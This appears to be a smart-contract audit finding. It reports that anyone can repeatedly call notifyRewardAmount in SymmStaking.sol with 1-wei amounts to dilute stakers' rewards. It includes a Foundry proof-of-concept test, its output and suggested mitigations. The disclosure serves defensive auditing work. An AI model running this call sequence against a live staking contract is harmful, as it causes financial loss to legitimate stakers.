Pet Lace Mantaray

High

# Attacker Will Dilute Staking Rewards for Legitimate Stakers

### Summary

The missing validation on reward updates in SymmStaking.sol will cause an unfair dilution of rewards for stakers, as an attacker can frequently call notifyRewardAmount with a minimal reward. This reduces the effective reward rate and prevents legitimate stakers from receiving their fair share.

### Root Cause

In SymmStaking.sol, there is no proper check on the reward update mechanism. Specifically, an attacker can repeatedly call [notifyRewardAmount()](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L275-L291) with dust reward amount, which artificially inflates the reward period and significantly reduces the actual rewards received by honest stakers.

### Internal Pre-conditions

Admin needs to configure the staking contract to allow a reward token using configureRewardToken().
The attacker needs to have an approved balance of the reward token to repeatedly call notifyRewardAmount().
A legitimate user must stake funds in the contract to be eligible for rewards.


### External Pre-conditions

The staking contract must allow reward top-ups at any time without enforcing a minimum amount.
Gas fees must be low enough for an attacker to make multiple calls without a significant financial penalty.

### Attack Path

1. A legitimate staker deposits funds into the staking contract.
2. The staking contract starts distributing rewards normally.
3. The attacker repeatedly calls notifyRewardAmount() with a tiny amount (e.g., 1 wei).
4. Each time the function is called, the reward distribution period extends, making the actual earned rewards per second decrease drastically.
5. Legitimate stakers receive significantly lower rewards than expected.

### Impact

Although the remaining rewards can still be claimed in the future, the continuous dilution of staking rewards imposes an indirect financial loss on legitimate stakers due to the extended reward distribution period.
Demonstrated in the POC, there is 2 reward tokens, for rewardToken1 on which the attack was performed the users will get only 64.56% of the rewards during the cycle compared to 100% for rewardToken2

### PoC

This is a foundry test; in the `/2025-03-symm-io-stacking/token` driectory first run these : 
```sh
forge init --force --no-commit
mv contracts src
forge install OpenZeppelin/openzeppelin-contracts --no-commit
forge install OpenZeppelin/openzeppelin-contracts-upgradeable --no-commit
forge build

```
Create a new test file in the test directory and add in this : 

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {console} from "forge-std/Test.sol";
import "../src/contracts/staking/SymmStaking.sol"; // Adjust path as needed
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

contract SymmStakingTest is Test {
    SymmStaking staking;
    
    // Test addresses
    address user = address(0x123);
    address admin = address(0x456);
    address hacker = address(0x789);
    
    // Mock tokens
    ERC20Mock rewardToken1 = new ERC20Mock();
    ERC20Mock rewardToken2 = new ERC20Mock();
    ERC20Mock stakingToken = new ERC20Mock();
    
    // Reward values
    uint256 constant INITIAL_REWARD = 1e20; // 100 tokens with 18 decimals
    uint256 constant SMALL_REWARD = 1; // Small reward (1 wei)

    function setUp() public { 
        // Deploy staking contract
        staking = new SymmStaking(); 
        staking.initialize(admin, address(stakingToken));
        
        // Mint tokens to user
        rewardToken1.mint(user, 1000 * 1e18);
        rewardToken2.mint(user, 1000 * 1e18);
        stakingToken.mint(user, 1000 * 1e18);
        
        // Approve staking contract to spend user's rewards
        vm.startPrank(user);
        rewardToken1.approve(address(staking), INITIAL_REWARD * 23);
        rewardToken2.approve(address(staking), INITIAL_REWARD * 23); 
        vm.stopPrank();
        
        // Mint and approve tokens for hacker
        rewardToken1.mint(hacker, 1000 * 1e18);
        rewardToken2.mint(hacker, 1000 * 1e18);
        vm.prank(hacker);
        rewardToken1.approve(address(staking), 10000 * 1e18);
        rewardToken2.approve(address(staking), 10000 * 1e18);
        
        // Configure staking contract with reward tokens
        vm.startPrank(admin);
        staking.configureRewardToken(address(rewardToken1), true);
        staking.configureRewardToken(address(rewardToken2), true);
        vm.stopPrank();
    }

    function testRewardDilutionBug() public {
        // Step 1: Notify initial reward
        address[] memory tokens = new address[](1);
        address[] memory othertokens = new address[](1);
        uint256[] memory amounts = new uint256[](1);
        
        tokens[0] = address(rewardToken1);
        amounts[0] = INITIAL_REWARD;
        othertokens[0] = address(rewardToken2);

        vm.startPrank(user);
        stakingToken.approve(address(staking), 1e18);
        staking.deposit(1e18, address(user));
        
        // Notify initial reward
        staking.notifyRewardAmount(tokens, amounts);
        staking.notifyRewardAmount(othertokens, amounts);
        vm.stopPrank();

        uint256 cycle = staking.DEFAULT_REWARDS_DURATION();

        // Step 2: Simulate reward dilution with small reward updates
        amounts[0] = SMALL_REWARD; // 1 wei rewards
        
        // Simulate updates in 14 phases within the cycle ( once every 12 hours )
        for (uint256 i = 0; i < 14; i++) {
            vm.warp(block.timestamp + cycle / 14);
            vm.prank(hacker);
            staking.notifyRewardAmount(tokens, amounts);
        }
        
        // Step 3: Measure earnings after dilution
        uint256 token1Earned = staking.earned(user, address(rewardToken1));
        uint256 token2Earned = staking.earned(user, address(rewardToken2));
        
        console.log("Token1 earned: ", token1Earned);
        console.log("Token2 earned: ", token2Earned);
        
        // Expect token1's rewards to be lower due to dilution
        assertLt(token1Earned, token2Earned, "Reward rate should decrease after small update");
    }
}

```
```shell
 token git:(main) ✗ forge test --mt testRewardDilutionBug -vv 
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.28
[⠊] Solc 0.8.28 finished in 835.28ms
Compiler run successful!

Ran 1 test for test/symmStaking.t.sol:SymmStakingTest
[PASS] testRewardDilutionBug() (gas: 843933)
Logs:
  Token1 earned:  64566468978012331200
  Token2 earned:  99999999999999792000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.79ms (2.41ms CPU time)

```

### Mitigation

- Implement a minimum reward threshold to prevent small reward updates.
- Allow only authorized addresses (e.g., an admin or a governance-controlled contract) to update rewards